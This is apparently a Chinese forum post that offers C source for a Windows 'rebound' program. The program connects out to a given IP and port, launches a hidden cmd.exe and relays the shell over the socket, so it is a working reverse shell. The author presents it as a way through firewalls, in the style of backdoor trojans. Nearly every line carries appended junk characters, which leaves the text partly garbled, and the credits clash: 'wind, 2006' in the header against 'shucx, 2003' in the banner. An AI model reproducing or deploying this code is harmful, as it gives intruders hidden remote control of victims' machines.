这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WdQR^'b$
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/* ============================== zfS0M
Rebound port in Windows NT u7Z-kZ
By wind,2006/7 hnOo T? V
===============================*/ {yXpBS
#include +5AWX,9,-
#include PfF5@W;E;
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#pragma comment(lib,"wsock32.lib") l1_hD,4
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void OutputShell(); jP(|pz
SOCKET sClient; [S Jx\Os
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {=3&_/9s){
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void main(int argc,char **argv) ks3ydHe`
{ JU>F&g/|
WSADATA stWsaData; |aD8
int nRet; $,I%g<
SOCKADDR_IN stSaiClient,stSaiServer; x:wv#Wh:l7
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if(argc != 3) _!qi`A
{ 9E`Laf
printf("Useage:\n\rRebound DestIP DestPort\n"); ya`Z eQ-p
return; Ms>CO7Nvy
} ?WEKRl
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |3]#SqX
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stSaiClient.sin_family = AF_INET; 4:zyZu3fm
stSaiClient.sin_port = htons(0); 5MX7V4ist
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p;xMudM
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d?6\
{ #MyF 1E
printf("Bind Socket Failed!\n"); f%[0}.wp
return; 'QOV! D
} SJ7-lben3
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stSaiServer.sin_family = AF_INET; *8% nbR
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NG+%H1!$_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P*!~Z*"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2Q;g|*]
{ rnSrkn"j{
printf("Connect Error!"); !Bu=?gf
return; &iTTal.6
} 1lLXu
OutputShell(); D b&=
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} WF_24Mw
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void OutputShell() INNTp[
{ -Pp =)_O
char szBuff[1024]; 2J &J
SECURITY_ATTRIBUTES stSecurityAttributes; |Duf
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OSVERSIONINFO stOsversionInfo; *|B5,Ey
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <Kk[^.7C;
STARTUPINFO stStartupInfo; WR zIK09@
char *szShell; 0f;`Zj0l8
PROCESS_INFORMATION stProcessInformation; Hd ${I",
unsigned long lBytesRead; _]Y9Eoz
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cnL@j_mb
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $h|8z
stSecurityAttributes.lpSecurityDescriptor = 0; lEC91:Jyt
stSecurityAttributes.bInheritHandle = TRUE; 91oAg[@4G
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xX~;
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); oTb4 T=
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xlm:erP
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'fka?lL
stStartupInfo.wShowWindow = SW_HIDE; !=p^@N7
stStartupInfo.hStdInput = hReadPipe; JL=s=9N;3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; w1,6%?p(O
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GetVersionEx(&stOsversionInfo); /_ RrNzqy
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switch(stOsversionInfo.dwPlatformId) UEH+E&BCC
{ osPrr QoH
case 1: %-O[%Dy
szShell = "command.com"; ZJ'FZ8Sx
break; /rzZU} 3[
default: =`f"8,5
szShell = "cmd.exe"; %R-KkK<S
break; a3B^RbDP&8
} F(;95TB
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *6QmYq6c<
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send(sClient,szMsg,77,0); N6uKFQL:{
while(1) :eL
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{ B+n(K+
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |YK4V(5x
if(lBytesRead) l>?k>NEpP
{ }Oe9Zq
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?gl[=N V
send(sClient,szBuff,lBytesRead,0); L<O"36R
} b:YyzOqEu
else w<G'gi]
{ vj+ S
lBytesRead=recv(sClient,szBuff,1024,0); O_[]+5.TX
if(lBytesRead<=0) break; g/jlG%kI}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Jsw%.<
} Q+=D#x
} p'YNj3&u
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return; /+{1;}AT
}